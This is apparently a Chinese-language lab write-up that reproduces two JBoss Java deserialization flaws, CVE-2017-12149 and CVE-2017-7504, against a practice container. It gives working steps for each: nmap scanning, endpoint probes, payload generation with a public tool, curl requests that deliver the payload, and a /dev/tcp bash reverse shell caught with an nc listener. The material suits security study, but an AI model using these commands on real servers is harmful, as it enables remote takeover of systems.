JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞
文章目錄
Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504
- 基礎(chǔ)知識
- 漏洞原理
- 影響版本
- 復(fù)現(xiàn)思路
- 復(fù)現(xiàn)—CVE-2017-12149
- 1、特征檢測
- 2、反彈shell
- 復(fù)現(xiàn)—CVE-2017-7504
- 1、特征檢測
- 2、反彈shell
基礎(chǔ)知識
??序列化就是把對象轉(zhuǎn)換成字節(jié)流,便于保存在內(nèi)存、文件、數(shù)據(jù)庫中;反序列化即逆過程,由字節(jié)流還原成對象。
??Java中的ObjectOutputStream類的writeObject()方法可以實現(xiàn)序列化,ObjectInputStream類的readObject()方法用于反序列化。
??形成漏洞的根源在于類ObjectInputStream在反序列化時,沒有對生成的對象的類型做限制。
漏洞原理
CVE-2017-12149
??漏洞影響5.x和6.x版本的JBOSSAS。該漏洞位于JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數(shù)據(jù)流進行反序列化,導(dǎo)致攻擊者可以通過精心設(shè)計的序列化數(shù)據(jù)來執(zhí)行任意代碼。
CVE-2017-7504
??JBoss AS 4.x及之前版本中,JbossMQ實現(xiàn)過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,遠(yuǎn)程攻擊者可借助特制的序列化數(shù)據(jù)利用該漏洞執(zhí)行任意代碼。
影響版本
??CVE-2017-12149:JBoss AS 5.x和6.x版
??CVE-2017-7504:JBoss AS 4.x及之前版本
復(fù)現(xiàn)思路
復(fù)現(xiàn)—CVE-2017-12149
前情提要:云主機作為攻擊方,云主機內(nèi)部靶場鏡像開啟JBOOS CVE-2017-12149漏洞容器作為受害方。
本文使用的腳本下載地址:
https://github.com/joaomatosf/JavaDeserH2HC
開啟漏洞環(huán)境主頁面:
1、特征檢測
端口掃描:
// 使用nmap掃描端口,檢測是否開啟該服務(wù): nmap -p 1-65535 -A 目標(biāo) IP- 1
- 2
目錄拼接:
訪問 http://IP:port/invoker/readonly
若出現(xiàn)如上500報錯頁面,則說明符合特征,可能存在該漏洞。
2、反彈shell
腳本下載地址:
https://github.com/joaomatosf/JavaDeserH2HC
下載工具腳本,后進入工具目錄:
編譯并生成序列化數(shù)據(jù):
- 1
- 2
ser全稱serialize,序列化惡意數(shù)據(jù)至文件:
// 執(zhí)行下面命令會生成相應(yīng)的.ser文件 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 云主機IP:port(反彈shell使用的監(jiān)聽端口)- 1
- 2
將該文件作為請求數(shù)據(jù)主體發(fā)送數(shù)據(jù)包,–data-binary 意為以二進制的方式post數(shù)據(jù):
// curl 這個二進制文件發(fā)送payload curl http://目標(biāo) IP:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser- 1
- 2
監(jiān)聽端口:
// 開啟監(jiān)聽端口 nc -lvnp 6666- 1
- 2
過程截圖:
成功反彈(注:這里出現(xiàn)connect to [X.X.X.X] from x.x.x.x 后就可以直接執(zhí)行命令了,博主以為卡死了等了好久,做了很多嘗試才發(fā)現(xiàn)已經(jīng)連接成功了 QAQ)
復(fù)現(xiàn)—CVE-2017-7504
前情提要:云主機作為攻擊方,云主機內(nèi)部靶場鏡像開啟JBOOS CVE-2017-7504漏洞容器作為受害方。
1、特征檢測
端口掃描:
// 使用nmap掃描端口,檢測是否開啟該服務(wù): nmap -p 1-65535 -A 目標(biāo) IP- 1
- 2
目錄拼接:
訪問 http://IP:port/jbossmq-httpil/HTTPServerILServlet
2、反彈shell
進入上文中下載的工具腳本文件,編譯并生成序列化數(shù)據(jù):
// 執(zhí)行下面命令會生成相應(yīng)的.class文件 javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java- 1
- 2
序列化惡意數(shù)據(jù)至文件:
// 執(zhí)行下面命令會生成相應(yīng)的.ser文件 java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java '/bin/bash -i>&/dev/tcp/云主機IP/監(jiān)聽端口<&1' (反彈shell使用的監(jiān)聽端口)- 1
- 2
將該文件作為請求數(shù)據(jù)主體發(fā)送數(shù)據(jù)包,–data-binary 意為以二進制的方式post數(shù)據(jù):
// curl 這個二進制文件發(fā)送payload curl http://目標(biāo)IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser- 1
- 2
監(jiān)聽端口:
// 開啟監(jiān)聽端口 nc -lvnp 6666- 1
- 2
過程截圖:
成功反彈~!
集成工具下載地址(還闊以,挺好用的):
https://github.com/joaomatosf/jexboss
總結(jié)
以上是生活随笔為你收集整理的JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: weblogic常见漏洞
- 下一篇: 日志分析-ip溯源